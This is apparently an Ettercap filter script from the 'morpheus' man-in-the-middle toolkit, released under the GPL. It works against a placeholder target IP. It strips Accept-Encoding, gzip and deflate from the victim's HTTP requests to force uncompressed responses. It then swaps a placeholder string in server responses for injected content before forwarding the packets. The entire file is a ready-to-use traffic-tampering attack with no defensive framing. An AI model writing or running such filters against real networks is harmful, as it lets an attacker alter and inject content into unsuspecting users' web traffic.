############################################################################
#                                                                          #
#  HTTPS Request/Response Filter                                           #
#  based on code from ALoR & NaGA                                          #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################


##
#  This filter will replace certain words In tcp packet
#  requests befor forward the packet back to target host.
##




##########################
## Zap Content Encoding ##
##########################
# change target request to server
if (ip.dst == 'IpAdDR' && ip.proto == TCP && tcp.dst == 80) {
  if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-Rubbishe");
    msg("\n[morpheus] host:IpAdDR   [ ⊶  ]  found ☆");
    msg("[Morpheus] |_ packet Accept-Encoding zapped ✔\n");
  }
}

if (ip.dst == 'IpAdDR' && ip.proto == TCP && tcp.dst == 80) {
  msg("[morpheus] host:IpAdDR   [ <- ]  port:80 http ☆");
  if (search(DATA.data, "gzip")) {
    replace("gzip", "    "); # note: four spaces In the replacement string
  }
}

if (ip.dst == 'IpAdDR' && ip.proto == TCP && tcp.dst == 80) {
  if (search(DATA.data, "deflate")) {
    replace("deflate", "       "); # note: seven spaces In the replacement string
  }
}




#####################
## Replace Content ##
#####################
# change server response to target
if (ip.dst == 'IpAdDR' && ip.proto == TCP && tcp.src == 80) {
  if (search(DATA.data, "RePlAcE")){
    replace("RePlAcE", "InJeC");
    msg("\n[morpheus] host:IpAdDR   [ ⊶  ]  found ☆");
    msg("[morpheus] | status : string found in tcp packet ✔");
    msg("[morpheus] |_info   : packet forward back to target ✔\n");
  }
}

